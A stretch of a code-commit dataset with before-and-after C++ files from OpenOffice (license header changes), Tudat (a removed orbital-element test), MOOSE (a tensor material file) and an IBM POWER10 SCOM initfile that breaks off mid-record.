#i54170# Change license header: remove SISSL<commit_after>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: canvastools.hxx,v $\n *\n * $Revision: 1.6 $\n *\n * last change: $Author: rt $ $Date: 2005-09-07 20:35:18 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n#ifndef _BGFX_TOOLS_CANVASTOOLS_HXX\n#define _BGFX_TOOLS_CANVASTOOLS_HXX\n\n#ifndef _COM_SUN_STAR_UNO_REFERENCE_HXX_\n#include <com\/sun\/star\/uno\/Reference.hxx>\n#endif\n#ifndef _COM_SUN_STAR_UNO_SEQUENCE_HXX_\n#include <com\/sun\/star\/uno\/Sequence.hxx>\n#endif\n\n\nnamespace com { namespace sun { namespace star { namespace geometry\n{\n struct AffineMatrix2D;\n struct RealPoint2D;\n struct RealSize2D;\n struct RealRectangle2D;\n struct IntegerPoint2D;\n struct IntegerSize2D;\n struct IntegerRectangle2D;\n struct RealBezierSegment2D;\n} } } }\n\nnamespace com { namespace sun { namespace star { namespace rendering\n{\n class XGraphicDevice;\n class XPolyPolygon2D;\n} } } }\n\nnamespace com { namespace sun { namespace star { namespace awt\n{\n struct Point;\n struct Size;\n struct Rectangle;\n} } } }\n\nnamespace basegfx\n{\n class B2DHomMatrix;\n class B2DVector;\n class B2DPoint;\n class B2DRange;\n class B2IVector;\n class B2IPoint;\n class B2IRange;\n class B2DPolygon;\n class B2DPolyPolygon;\n\n namespace unotools\n {\n \/\/ Polygon conversions\n \/\/ ===================================================================\n\n ::com::sun::star::uno::Reference< ::com::sun::star::rendering::XPolyPolygon2D >\n xPolyPolygonFromB2DPolygon( const ::com::sun::star::uno::Reference<\n ::com::sun::star::rendering::XGraphicDevice >& xGraphicDevice,\n const ::basegfx::B2DPolygon& rPoly );\n\n ::com::sun::star::uno::Reference< ::com::sun::star::rendering::XPolyPolygon2D >\n xPolyPolygonFromB2DPolyPolygon( const ::com::sun::star::uno::Reference<\n ::com::sun::star::rendering::XGraphicDevice >& xGraphicDevice,\n const ::basegfx::B2DPolyPolygon& rPolyPoly );\n\n\n ::com::sun::star::uno::Sequence<\n ::com::sun::star::uno::Sequence<\n ::com::sun::star::geometry::RealBezierSegment2D > >\n bezierSequenceSequenceFromB2DPolyPolygon( const ::basegfx::B2DPolyPolygon& rPolyPoly );\n\n ::com::sun::star::uno::Sequence<\n ::com::sun::star::uno::Sequence<\n ::com::sun::star::geometry::RealPoint2D > >\n pointSequenceSequenceFromB2DPolyPolygon( const ::basegfx::B2DPolyPolygon& rPolyPoly );\n\n ::basegfx::B2DPolygon polygonFromPoint2DSequence(\n const ::com::sun::star::uno::Sequence<\n ::com::sun::star::geometry::RealPoint2D >& rPoints );\n\n ::basegfx::B2DPolyPolygon polyPolygonFromPoint2DSequenceSequence(\n const ::com::sun::star::uno::Sequence<\n ::com::sun::star::uno::Sequence< ::com::sun::star::geometry::RealPoint2D > >& rPoints );\n\n ::basegfx::B2DPolygon polygonFromBezier2DSequence(\n const ::com::sun::star::uno::Sequence<\n ::com::sun::star::geometry::RealBezierSegment2D >& rPoints );\n\n ::basegfx::B2DPolyPolygon polyPolygonFromBezier2DSequenceSequence(\n const ::com::sun::star::uno::Sequence<\n ::com::sun::star::uno::Sequence< ::com::sun::star::geometry::RealBezierSegment2D > >& rPoints );\n\n\n \/\/ Matrix conversions\n \/\/ ===================================================================\n\n ::com::sun::star::geometry::AffineMatrix2D&\n affineMatrixFromHomMatrix( ::com::sun::star::geometry::AffineMatrix2D& matrix,\n const ::basegfx::B2DHomMatrix& transform);\n\n ::basegfx::B2DHomMatrix&\n homMatrixFromAffineMatrix( ::basegfx::B2DHomMatrix& transform,\n const ::com::sun::star::geometry::AffineMatrix2D& matrix );\n\n\n \/\/ Geometry conversions\n \/\/ ===================================================================\n\n ::com::sun::star::geometry::RealSize2D size2DFromB2DSize( const ::basegfx::B2DVector& );\n ::com::sun::star::geometry::RealPoint2D point2DFromB2DPoint( const ::basegfx::B2DPoint& );\n ::com::sun::star::geometry::RealRectangle2D rectangle2DFromB2DRectangle( const ::basegfx::B2DRange& );\n\n ::basegfx::B2DVector b2DSizeFromRealSize2D( const ::com::sun::star::geometry::RealSize2D& );\n ::basegfx::B2DPoint b2DPointFromRealPoint2D( const ::com::sun::star::geometry::RealPoint2D& );\n ::basegfx::B2DRange b2DRectangleFromRealRectangle2D( const ::com::sun::star::geometry::RealRectangle2D& );\n\n ::com::sun::star::geometry::IntegerSize2D integerSize2DFromB2ISize( const ::basegfx::B2IVector& );\n ::com::sun::star::geometry::IntegerPoint2D integerPoint2DFromB2IPoint( const ::basegfx::B2IPoint& );\n ::com::sun::star::geometry::IntegerRectangle2D integerRectangle2DFromB2IRectangle( const ::basegfx::B2IRange& );\n\n ::basegfx::B2IVector b2ISizeFromIntegerSize2D( const ::com::sun::star::geometry::IntegerSize2D& );\n ::basegfx::B2IPoint b2IPointFromIntegerPoint2D( const ::com::sun::star::geometry::IntegerPoint2D& );\n ::basegfx::B2IRange b2IRectangleFromIntegerRectangle2D( const ::com::sun::star::geometry::IntegerRectangle2D& );\n\n ::com::sun::star::awt::Size awtSizeFromB2ISize( const ::basegfx::B2IVector& );\n ::com::sun::star::awt::Point awtPointFromB2IPoint( const ::basegfx::B2IPoint& );\n ::com::sun::star::awt::Rectangle awtRectangleFromB2IRectangle( const ::basegfx::B2IRange& );\n\n ::basegfx::B2IVector b2ISizeFromAwtSize( const ::com::sun::star::awt::Size& );\n ::basegfx::B2IPoint b2IPointFromAwtPoint( const ::com::sun::star::awt::Point& );\n ::basegfx::B2IRange b2IRectangleFromAwtRectangle( const ::com::sun::star::awt::Rectangle& );\n }\n}\n\n#endif \/* _BGFX_TOOLS_CANVASTOOLS_HXX *\/\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * $RCSfile: graphicnameaccess.cxx,v $\n *\n * $Revision: 1.2 $\n *\n * last change: $Author: obo $ $Date: 2004-07-06 16:58:28 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef __FRAMEWORK_UICONFIGURATION_GRAPHICNAMEACCESS_HXX_\n#include <uiconfiguration\/graphicnameaccess.hxx>\n#endif\n\n\/\/_________________________________________________________________________________________________________________\n\/\/ interface includes\n\/\/_________________________________________________________________________________________________________________\n\n\/\/_________________________________________________________________________________________________________________\n\/\/ other includes\n\/\/_________________________________________________________________________________________________________________\n\n#include <comphelper\/sequence.hxx>\n\nusing namespace ::com::sun::star;\n\nnamespace framework\n{\n\nGraphicNameAccess::GraphicNameAccess()\n{\n}\n\nGraphicNameAccess::~GraphicNameAccess()\n{\n}\n\nvoid GraphicNameAccess::addElement( const rtl::OUString& rName, const uno::Reference< graphic::XGraphic >& rElement )\n{\n m_aNameToElementMap.insert( NameGraphicHashMap::value_type( rName, rElement ));\n}\n\nsal_uInt32 GraphicNameAccess::size() const\n{\n return m_aNameToElementMap.size();\n}\n\n\/\/ XNameAccess\nuno::Any SAL_CALL GraphicNameAccess::getByName( const ::rtl::OUString& aName )\nthrow( container::NoSuchElementException,\n lang::WrappedTargetException,\n uno::RuntimeException)\n{\n NameGraphicHashMap::const_iterator pIter = m_aNameToElementMap.find( aName );\n if ( pIter != m_aNameToElementMap.end() )\n return uno::makeAny( pIter->second );\n else\n throw container::NoSuchElementException();\n}\n\nuno::Sequence< ::rtl::OUString > SAL_CALL GraphicNameAccess::getElementNames()\nthrow(::com::sun::star::uno::RuntimeException)\n{\n if ( m_aSeq.getLength() == 0 )\n {\n uno::Sequence< rtl::OUString > aSeq( m_aNameToElementMap.size() );\n NameGraphicHashMap::const_iterator pIter = m_aNameToElementMap.begin();\n sal_Int32 i( 0);\n while ( pIter != m_aNameToElementMap.end())\n {\n aSeq[i++] = pIter->first;\n ++pIter;\n }\n m_aSeq = aSeq;\n }\n\n return m_aSeq;\n}\n\nsal_Bool SAL_CALL GraphicNameAccess::hasByName( const ::rtl::OUString& aName )\nthrow(::com::sun::star::uno::RuntimeException)\n{\n NameGraphicHashMap::const_iterator pIter = m_aNameToElementMap.find( aName );\n return ( pIter != m_aNameToElementMap.end() );\n}\n\n\/\/ XElementAccess\nsal_Bool SAL_CALL GraphicNameAccess::hasElements()\nthrow( uno::RuntimeException )\n{\n return ( m_aNameToElementMap.size() > 0 );\n}\n\nuno::Type SAL_CALL GraphicNameAccess::getElementType()\nthrow( uno::RuntimeException )\n{\n return ::getCppuType( (const uno::Reference< graphic::XGraphic > *)NULL );\n}\n\n} \/\/ namespace framework\n<commit_msg>INTEGRATION: CWS ooo19126 (1.2.288); FILE MERGED 2005\/09\/05 13:07:02 rt 1.2.288.1: #i54170# Change license header: remove SISSL<commit_after>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: graphicnameaccess.cxx,v $\n *\n * $Revision: 1.3 $\n *\n * last change: $Author: rt $ $Date: 2005-09-09 01:49:39 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n#ifndef __FRAMEWORK_UICONFIGURATION_GRAPHICNAMEACCESS_HXX_\n#include <uiconfiguration\/graphicnameaccess.hxx>\n#endif\n\n\/\/_________________________________________________________________________________________________________________\n\/\/ interface includes\n\/\/_________________________________________________________________________________________________________________\n\n\/\/_________________________________________________________________________________________________________________\n\/\/ other includes\n\/\/_________________________________________________________________________________________________________________\n\n#include <comphelper\/sequence.hxx>\n\nusing namespace ::com::sun::star;\n\nnamespace framework\n{\n\nGraphicNameAccess::GraphicNameAccess()\n{\n}\n\nGraphicNameAccess::~GraphicNameAccess()\n{\n}\n\nvoid GraphicNameAccess::addElement( const rtl::OUString& rName, const uno::Reference< graphic::XGraphic >& rElement )\n{\n m_aNameToElementMap.insert( NameGraphicHashMap::value_type( rName, rElement ));\n}\n\nsal_uInt32 GraphicNameAccess::size() const\n{\n return m_aNameToElementMap.size();\n}\n\n\/\/ XNameAccess\nuno::Any SAL_CALL GraphicNameAccess::getByName( const ::rtl::OUString& aName )\nthrow( container::NoSuchElementException,\n lang::WrappedTargetException,\n uno::RuntimeException)\n{\n NameGraphicHashMap::const_iterator pIter = m_aNameToElementMap.find( aName );\n if ( pIter != m_aNameToElementMap.end() )\n return uno::makeAny( pIter->second );\n else\n throw container::NoSuchElementException();\n}\n\nuno::Sequence< ::rtl::OUString > SAL_CALL GraphicNameAccess::getElementNames()\nthrow(::com::sun::star::uno::RuntimeException)\n{\n if ( m_aSeq.getLength() == 0 )\n {\n uno::Sequence< rtl::OUString > aSeq( m_aNameToElementMap.size() );\n NameGraphicHashMap::const_iterator pIter = m_aNameToElementMap.begin();\n sal_Int32 i( 0);\n while ( pIter != m_aNameToElementMap.end())\n {\n aSeq[i++] = pIter->first;\n ++pIter;\n }\n m_aSeq = aSeq;\n }\n\n return m_aSeq;\n}\n\nsal_Bool SAL_CALL GraphicNameAccess::hasByName( const ::rtl::OUString& aName )\nthrow(::com::sun::star::uno::RuntimeException)\n{\n NameGraphicHashMap::const_iterator pIter = m_aNameToElementMap.find( aName );\n return ( pIter != m_aNameToElementMap.end() );\n}\n\n\/\/ XElementAccess\nsal_Bool SAL_CALL GraphicNameAccess::hasElements()\nthrow( uno::RuntimeException )\n{\n return ( m_aNameToElementMap.size() > 0 );\n}\n\nuno::Type SAL_CALL GraphicNameAccess::getElementType()\nthrow( uno::RuntimeException )\n{\n return ::getCppuType( (const uno::Reference< graphic::XGraphic > *)NULL );\n}\n\n} \/\/ namespace framework\n<|endoftext|>"} {"text":"<commit_before>\/* Copyright (c) 2010-2012 Delft University of Technology.\n *\n * This software is protected by national and international copyright.\n * Any unauthorized use, reproduction or modification is unlawful and\n * will be prosecuted. Commercial and non-private application of the\n * software in any form is strictly prohibited unless otherwise granted\n * by the authors.\n *\n * The code is provided without any warranty; without even the implied\n * warranty of merchantibility or fitness for a particular purpose.\n *\n * Changelog\n * YYMMDD Author Comment\n * 101203 E. Iorfida First creation of the code.\n * 101208 E. Iorfida Fulfillment of the code with the elliptical case.\n * 101208 E. Iorfida Modified punctuation.\n * 101215 E. Iorfida Added tolerance, added parabolic, circular and hyperbolic\n * cases.\n * 101217 E. Iorfida Added computeAbsoluteValue( ) in the errors computation,\n * modified punctuation.\n * 101219 J. Melman Put gravitational parameters in one place, changed first right\n * ascension to 15.0 * pi \/ 8.0, thereby exposing a possible\n * error.\n * 110107 E. Iorfida orbitalConversionBookExampleUnitTest.test added to this file,\n * to have a unique unit test file for the conversion code. Also\n * some punctuation modifications have been made.\n * 110109 J. Melman Included test for semi-latus rectum of circular case. Gave the\n * orbital angles less trivial values, and not almost exclusively\n * in the first quadrant.\n * 110111 E. Iorfida Updated to the new format of unitTest file and added hyperbolic\n * equatorial case.\n * 110204 K. Kumar Removed \"vector\" from naming.\n * 110216 K. Kumar Added unit tests for new orbital element conversion functions.\n * 110310 K. Kumar Changed right ascension of ascending node to longitude of\n * ascending node.\n * 110510 K. Kumar Updated to use new orbital element conversion functions and\n * removed dynamic memory allocation.\n *\n * References\n * http:\/\/www.astro.uu.nl\/~strous\/AA\/en\/reken\/kepler.html, last accessed: 16th February, 2011.\n * Vallado, D. A., McClain, W. D. Fundamentals of astrodynamics and applications, 2nd Edition,\n * Kluwer Academic Publishers, The Netherlands, 2004.\n * Fortescue, P. W., et al. Spacecraft systems engineering, Third Edition,\n * Wiley, England, 2003.\n *\n *\/\n\n\/\/ Temporary notes (move to class\/function doxygen):\n\/\/ Test runs code and verifies result against expected value.\n\/\/ If the tested code is erroneous, the test function returns a boolean\n\/\/ true; if the code is correct, the function returns a boolean false.\n\/\/ \n\n#include <cmath>\n#include <iostream>\n#include <limits>\n#include <TudatCore\/Astrodynamics\/BasicAstrodynamics\/orbitalElementConversions.h>\n#include <TudatCore\/Astrodynamics\/BasicAstrodynamics\/unitConversions.h>\n#include \"Tudat\/Astrodynamics\/BasicAstrodynamics\/convertMeanAnomalyToEccentricAnomaly.h\"\n#include \"Tudat\/Astrodynamics\/BasicAstrodynamics\/convertMeanAnomalyToHyperbolicEccentricAnomaly.h\"\n#include \"Tudat\/Astrodynamics\/Bodies\/celestialBody.h\"\n#include \"Tudat\/Astrodynamics\/Bodies\/planet.h\"\n#include \"Tudat\/Astrodynamics\/Gravitation\/gravityFieldModel.h\"\n#include \"Tudat\/Astrodynamics\/Gravitation\/sphericalHarmonicsGravityField.h\"\n#include \"Tudat\/Mathematics\/RootFindingMethods\/newtonRaphson.h\"\n\n\/\/! Test orbital element conversion code.\nint main( )\n{\n \/\/ Using declarations.\n using std::cerr;\n using std::endl;\n using std::fabs;\n using std::pow;\n using tudat::orbital_element_conversions::convertCartesianToKeplerianElements;\n using tudat::orbital_element_conversions::convertKeplerianToCartesianElements;\n using tudat::orbital_element_conversions::ConvertMeanAnomalyToEccentricAnomaly;\n using tudat::orbital_element_conversions::ConvertMeanAnomalyToHyperbolicEccentricAnomaly;\n using namespace tudat;\n\n \/\/ Test of orbital element conversion methods imeplemented in Tudat.\n \/\/ Test 1: Test of mean anomaly to eccentric anomaly conversion.\n\n \/\/ Initialize unit test result to false.\n bool isOrbitalElementConversionErroneous = false;\n\n \/\/ Test 1: Test of mean anomaly to eccentric anomaly conversion.\n \/\/ Source: ( Vallado, 2004 ).\n\n \/\/ Set tolerance for conversion.\n double toleranceOrbitalElementConversion = 1e-8;\n\n \/\/ Set eccentricity.\n double eccentricity = 0.01671;\n\n \/\/ Set mean anomaly.\n double meanAnomaly = unit_conversions::convertDegreesToRadians( 60.0 );\n\n \/\/ Create Newton-Raphson object.\n NewtonRaphson newtonRaphson;\n\n \/\/ Create object for mean anomaly to eccentric anomaly conversion.\n orbital_element_conversions::ConvertMeanAnomalyToEccentricAnomaly\n convertMeanAnomalyToEccentricAnomaly( eccentricity, meanAnomaly, &newtonRaphson );\n\n \/\/ Compute eccentric anomaly.\n double eccentricAnomaly = convertMeanAnomalyToEccentricAnomaly.convert( );\n\n \/\/ Check if computed eccentric anomaly is equal to reference value.\n if ( fabs( eccentricAnomaly - 1.061789204 ) > toleranceOrbitalElementConversion )\n {\n isOrbitalElementConversionErroneous = true;\n\n cerr << \"The conversion of mean anomaly to eccentric anomaly is \"\n << \"erroneous as the computed eccentric anomaly after applying the conversion ( \"\n << unit_conversions::convertRadiansToDegrees( eccentricAnomaly )\n << \" ) does not match the expected value of the eccentric anomaly ( \"\n << unit_conversions::convertRadiansToDegrees( 1.061789204 ) << \" ) \" << endl;\n }\n\n \/\/ Return test result.\n \/\/ If test is successful return false; if test fails, return true.\n if ( isOrbitalElementConversionErroneous )\n {\n cerr << \"testOrbitalElementConversions failed!\" << endl;\n }\n\n return isOrbitalElementConversionErroneous;\n}\n<commit_msg>Removed old (superfluous) orbital elements unit test (issue #409).<commit_after><|endoftext|>"} {"text":"<commit_before>\/\/* This file is part of the MOOSE framework\n\/\/* https:\/\/www.mooseframework.org\n\/\/*\n\/\/* All rights reserved, see COPYRIGHT for full restrictions\n\/\/* https:\/\/github.com\/idaholab\/moose\/blob\/master\/COPYRIGHT\n\/\/*\n\/\/* Licensed under LGPL 2.1, please see LICENSE for details\n\/\/* https:\/\/www.gnu.org\/licenses\/lgpl-2.1.html\n\n#include \"GenericConstantRankTwoTensor.h\"\n\nregisterMooseObject(\"MooseApp\", GenericConstantRankTwoTensor);\nregisterMooseObject(\"MooseApp\", ADGenericConstantRankTwoTensor);\n\ntemplate <bool is_ad>\nInputParameters\nGenericConstantRankTwoTensorTempl<is_ad>::validParams()\n{\n InputParameters params = Material::validParams();\n params.addClassDescription(\n \"Object for declaring a constant rank two tensor as a material property.\");\n params.addRequiredParam<std::vector<Real>>(\n \"tensor_values\", \"Vector of values defining the constant rank two tensor\");\n params.addRequiredParam<MaterialPropertyName>(\n \"tensor_name\", \"Name of the tensor material property to be created\");\n params.set<MooseEnum>(\"constant_on\") = \"SUBDOMAIN\";\n return params;\n}\n\ntemplate <bool is_ad>\nGenericConstantRankTwoTensorTempl<is_ad>::GenericConstantRankTwoTensorTempl(\n const InputParameters & parameters)\n : Material(parameters),\n _prop(\n declareGenericProperty<RankTwoTensor, is_ad>(getParam<MaterialPropertyName>(\"tensor_name\")))\n{\n _tensor.fillFromInputVector(getParam<std::vector<Real>>(\"tensor_values\"));\n}\n\ntemplate <bool is_ad>\nvoid\nGenericConstantRankTwoTensorTempl<is_ad>::initQpStatefulProperties()\n{\n GenericConstantRankTwoTensorTempl<is_ad>::computeQpProperties();\n}\n\ntemplate <bool is_ad>\nvoid\nGenericConstantRankTwoTensorTempl<is_ad>::computeQpProperties()\n{\n _prop[_qp] = _tensor;\n}\n\ntemplate class GenericConstantRankTwoTensorTempl<false>;\ntemplate class GenericConstantRankTwoTensorTempl<true>;<commit_msg>This should resolve #22619. Added an extra empty line at the end<commit_after>\/\/* This file is part of the MOOSE framework\n\/\/* https:\/\/www.mooseframework.org\n\/\/*\n\/\/* All rights reserved, see COPYRIGHT for full restrictions\n\/\/* https:\/\/github.com\/idaholab\/moose\/blob\/master\/COPYRIGHT\n\/\/*\n\/\/* Licensed under LGPL 2.1, please see LICENSE for details\n\/\/* https:\/\/www.gnu.org\/licenses\/lgpl-2.1.html\n\n#include \"GenericConstantRankTwoTensor.h\"\n\nregisterMooseObject(\"MooseApp\", GenericConstantRankTwoTensor);\nregisterMooseObject(\"MooseApp\", ADGenericConstantRankTwoTensor);\n\ntemplate <bool is_ad>\nInputParameters\nGenericConstantRankTwoTensorTempl<is_ad>::validParams()\n{\n InputParameters params = Material::validParams();\n params.addClassDescription(\n \"Object for declaring a constant rank two tensor as a material property.\");\n params.addRequiredParam<std::vector<Real>>(\n \"tensor_values\", \"Vector of values defining the constant rank two tensor\");\n params.addRequiredParam<MaterialPropertyName>(\n \"tensor_name\", \"Name of the tensor material property to be created\");\n params.set<MooseEnum>(\"constant_on\") = \"SUBDOMAIN\";\n return params;\n}\n\ntemplate <bool is_ad>\nGenericConstantRankTwoTensorTempl<is_ad>::GenericConstantRankTwoTensorTempl(\n const InputParameters & parameters)\n : Material(parameters),\n _prop(\n declareGenericProperty<RankTwoTensor, is_ad>(getParam<MaterialPropertyName>(\"tensor_name\")))\n{\n _tensor.fillFromInputVector(getParam<std::vector<Real>>(\"tensor_values\"));\n}\n\ntemplate <bool is_ad>\nvoid\nGenericConstantRankTwoTensorTempl<is_ad>::initQpStatefulProperties()\n{\n GenericConstantRankTwoTensorTempl<is_ad>::computeQpProperties();\n}\n\ntemplate <bool is_ad>\nvoid\nGenericConstantRankTwoTensorTempl<is_ad>::computeQpProperties()\n{\n _prop[_qp] = _tensor;\n}\n\ntemplate class GenericConstantRankTwoTensorTempl<false>;\ntemplate class GenericConstantRankTwoTensorTempl<true>;\n<|endoftext|>"} {"text":"<commit_before>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/p10\/procedures\/hwp\/initfiles\/p10_nmmu_scom.C $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2019,2020 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n#include \"p10_nmmu_scom.H\"\n#include <stdint.h>\n#include <stddef.h>\n#include <fapi2.H>\n\nusing namespace fapi2;\n\n\nfapi2::ReturnCode p10_nmmu_scom(const fapi2::Target<fapi2::TARGET_TYPE_NMMU>& TGT0,\n const fapi2::Target<fapi2::TARGET_TYPE_PROC_CHIP>& TGT1, const fapi2::Target<fapi2::TARGET_TYPE_SYSTEM>& TGT2)\n{\n {\n fapi2::ATTR_EC_Type l_chip_ec;\n fapi2::ATTR_NAME_Type l_chip_id;\n FAPI_TRY(FAPI_ATTR_GET_PRIVILEGED(fapi2::ATTR_NAME, TGT1, l_chip_id));\n FAPI_TRY(FAPI_ATTR_GET_PRIVILEGED(fapi2::ATTR_EC, TGT1, l_chip_ec));\n fapi2::ATTR_PROC_FABRIC_BROADCAST_MODE_Type l_TGT2_ATTR_PROC_FABRIC_BROADCAST_MODE;\n FAPI_TRY(FAPI_ATTR_GET(fapi2::ATTR_PROC_FABRIC_BROADCAST_MODE, TGT2, l_TGT2_ATTR_PROC_FABRIC_BROADCAST_MODE));\n fapi2::buffer<uint64_t> l_scom_buffer;\n {\n FAPI_TRY(fapi2::getScom( TGT0, 0x2010c15ull, l_scom_buffer ));\n\n if ((l_TGT2_ATTR_PROC_FABRIC_BROADCAST_MODE != fapi2::ENUM_ATTR_PROC_FABRIC_BROADCAST_MODE_1HOP_CHIP_IS_GROUP))\n {\n constexpr auto l_MM0_MM_FBC_CQ_WRAP_NXCQ_SCOM_CFG_PUMP_MODE_ON = 0x1;\n l_scom_buffer.insert<39, 1, 63, uint64_t>(l_MM0_MM_FBC_CQ_WRAP_NXCQ_SCOM_CFG_PUMP_MODE_ON );\n }\n else if ((l_TGT2_ATTR_PROC_FABRIC_BROADCAST_MODE == fapi2::ENUM_ATTR_PROC_FABRIC_BROADCAST_MODE_1HOP_CHIP_IS_GROUP))\n {\n constexpr auto l_MM0_MM_FBC_CQ_WRAP_NXCQ_SCOM_CFG_PUMP_MODE_OFF = 0x0;\n l_scom_buffer.insert<39, 1, 63, uint64_t>(l_MM0_MM_FBC_CQ_WRAP_NXCQ_SCOM_CFG_PUMP_MODE_OFF );\n }\n\n FAPI_TRY(fapi2::putScom(TGT0, 0x2010c15ull, l_scom_buffer));\n }\n\n };\nfapi_try_exit:\n return fapi2::current_err;\n}\n<commit_msg>Enable epsilons in nmmu scom initfile<commit_after>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/p10\/procedures\/hwp\/initfiles\/p10_nmmu_scom.C $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2019,2020 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n#include \"p10_nmmu_scom.H\"\n#include <stdint.h>\n#include <stddef.h>\n#include <fapi2.H>\n\nusing namespace fapi2;\n\nconstexpr uint64_t literal_0 = 0;\nconstexpr uint64_t literal_0x001 = 0x001;\n\nfapi2::ReturnCode p10_nmmu_scom(const fapi2::Target<fapi2::TARGET_TYPE_NMMU>& TGT0,\n const fapi2::Target<fapi2::TARGET_TYPE_PROC_CHIP>& TGT1, const fapi2::Target<fapi2::TARGET_TYPE_SYSTEM>& TGT2)\n{\n {\n fapi2::ATTR_EC_Type l_chip_ec;\n fapi2::ATTR_NAME_Type l_chip_id;\n FAPI_TRY(FAPI_ATTR_GET_PRIVILEGED(fapi2::ATTR_NAME, TGT1, l_chip_id));\n FAPI_TRY(FAPI_ATTR_GET_PRIVILEGED(fapi2::ATTR_EC, TGT1, l_chip_ec));\n fapi2::ATTR_PROC_FABRIC_BROADCAST_MODE_Type l_TGT2_ATTR_PROC_FABRIC_BROADCAST_MODE;\n FAPI_TRY(FAPI_ATTR_GET(fapi2::ATTR_PROC_FABRIC_BROADCAST_MODE, TGT2, l_TGT2_ATTR_PROC_FABRIC_BROADCAST_MODE));\n fapi2::ATTR_PROC_EPS_WRITE_CYCLES_T1_Type 